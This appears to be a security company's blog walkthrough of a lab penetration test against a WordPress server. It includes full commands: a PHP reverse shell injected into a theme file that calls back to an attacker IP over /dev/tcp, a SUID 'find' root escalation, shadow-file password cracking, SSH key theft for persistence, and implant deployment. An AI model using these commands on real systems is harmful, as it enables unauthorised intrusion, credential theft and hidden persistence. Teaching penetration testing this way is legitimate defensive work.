- Blog articles related to hacking are only for informational and educational purposes. Any time the word “hacking” is used on this site, it shall be regarded as Ethical Hacking. You may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is a serious crime under federal law.
- Refer to the laws in your province/country before accessing, using, or in any other way utilizing these materials. These materials are foreducational and research purposes only.
- Any actions and or activities relating to the material contained within this website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The author and Winmill Software will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.
External penetration testing (also known as external network penetration testing) is a security assessment of an organization’s perimeter systems. Your perimeter comprises all those systems which are directly reachable from the internet. By nature, they are the most exposed systems as they are out in the open and are, therefore, the most easily and regularly attacked.
In this demonstration, we conduct a penetration test of a single IP address pointing to a WordPress website in a controlled lab environment. Please note that use of any of the following techniques without permission is a violation of US law.
As with most external penetration tests, we have been provided only a network classless inter-domain routing (CIDR) as our target (10.10.110.0/24), but we are told beforehand that there is only one host in scope. We begin with an Nmap “ping scan” to identify live hosts. The scan comes back with no active hosts identified. A firewall is blocking internet control message protocol (ICMP) responses. (Figure 1).
We run the scan again, this time with the Pn (no-ping) directive. This time we locate our target host at 10.10.110.100 with three running services: ftp on port 21, ssh on port 22, and a web application on port 65000 (Figure 2).
Running a web server on port 65000 seems suspicious. Are they trying to hide something? Unfortunately, “security through obscurity” is not a sound security strategy. We investigate!
We begin by pointing our browser to http://10.10.110.100:65000/. We find an Apache2 Ubuntu default page (Figure 3). We run GoBuster on the URL to discover content and discover a WordPress website (Figure 4).
WordPress is a free and open-source content management system (CMS) written in PHP and paired with a MySQL or a MariaDB database. Features include a plugin architecture and a template system, referred to within WordPress as themes. WordPress was originally created as a blog-publishing system, but has evolved to support other web content types including more traditional mailing lists and forums, media galleries, membership sites, learning management systems (LMS) and online stores.
One of the most popular content management system solutions in use, WordPress is used by 42.8% of the top 10 million websites as of October 2021. Due to its many features, the framework has a large attack surface, and it is often misconfigured. We will revisit this URL, but first we check the other running services.
The FTP server on port 21 accepts anonymous logins. We login and see a “Transfer” directory (Figure 5). Inside we find two subdirectories: “Incoming” and “Outgoing.” We look at “Incoming” and find a file named todo.txt (Figure 5).
We download the file and open it. We learn that the WordPress site is unfinished, and that user James has an easy password (Figure 6). Excellent!
SSH on port 22 is not using default credentials, so we will focus on the website with loose permissions and a user named James with an easy password. For this we will run the WPScan tool. The WPScan CLI tool is a free (for non-commercial use) black box WordPress security scanner written for security professionals and bloggers to test the security of their sites. The WPScan CLI tool uses our database of 27,649 WordPress vulnerabilities. We will need a wordlist for our scan.
We know James has an easy password, so we use Custom Word List generator (CeWL) to generate a wordlist based on the content of the website. CeWL is a Ruby app that spiders a given URL, up to a specified depth, and returns a list of words that can then be used for password crackers such as John the Ripper.
We run the command “cewl http://wordpress01:65000/wordpress -w passwords-wordpress01.txt” and generate our wordlist. We run WPScan and find the password for user James: “Toyota” (Figure 7).
We know the default administrator’s login page in WordPress is located in /wp-admin and login as James who has administrative privileges (Figure 8).
We know PHP code runs on the server. If we can modify one of the PHP pages with our malicious code then load the page, the code will execute. We find theme TwentySeventeen installed but not in use. We modify the 404.php page by removing the existing content and replacing it with: “<?php exec(“/bin/bash -c ‘bash -i >& /dev/tcp/10.10.14.208/4444 0>&1′”);?>” which will give us a command shell on port 4444. We set up a Netcat listener, load 404.php on the browser and get a low-level www-data shell into the system (Figure 9).
We then use the su (switch user) command and recovered password to switch accounts to the James user (Figure 10).
James is not a system administrator; we need to elevate privileges! We begin by searching for files with the SUID (Set owner User ID) bit set with “find / ~perm -4000 2>/dev/null” (Figure 11).
The SUID bit is a flag on a file that states that whomever runs the file will have the privileges of the owner of the file. So, if you are a student and the file is owned by root, then when you run that executable, the code runs with the permissions of the root user. The SUID bit only works on Linux ELF (executable linkable format) executables, meaning it does nothing if it’s set on a Bash shell script, a Python script file, etc. We choose /usr/bin/find and run the command “/usr/bin/find . -exec /bin/bash -p \; -quit” to successfully elevate privileges to root. Now we own the server (Figure 12).
Next, we need to ensure that we have a direct way into the system as root. We download the /etc/passwd and /etc/shadow files and unshadow the /etc/shadow file to prepare the hashes for cracking with John the Ripper. After a few minutes of running John the Ripper with the rockyou.txt wordlist, we recover the root password “qawsedrftgyhujikol.” We try to SSH (attempt to get into the server via the Secure Socket Shell) into the server as root and discover that we need the private key. We extract the private key and successfully login as root; we have established persistence! (Persistence means that we can “lurk” and stay hidden.) See Figure 13.
We use the Metasploit web_delivery module to upgrade to a Meterpreter shell for post exploitation and extract as many useful files as possible (Figure 14).
We find the internal subnet at 172.16.1.0/24, create a simple python port scanner, and discover ten live internal hosts; we have breached the perimeter! See Figure 15.
With our access to the internal network, we are now ready to begin lateral movement. We have multiple ways we can pivot from our foothold. But for starters we deploy two PowerShell Empire Python implants and manage them with Empire StarKiller (Figure 16). We are now an Advanced Persistent Threat!
This breach would have been avoided by having an external network penetration test like the one we just performed. Note that no patchable vulnerabilities were exploited. Instead, we took advantage of misconfigurations and poor security to achieve complete control of the foothold system and embed ourselves for future attacks on the internal network.
That’s all for now folks! In our next article we will continue with lateral movement and Active Directory exploitation. See you then!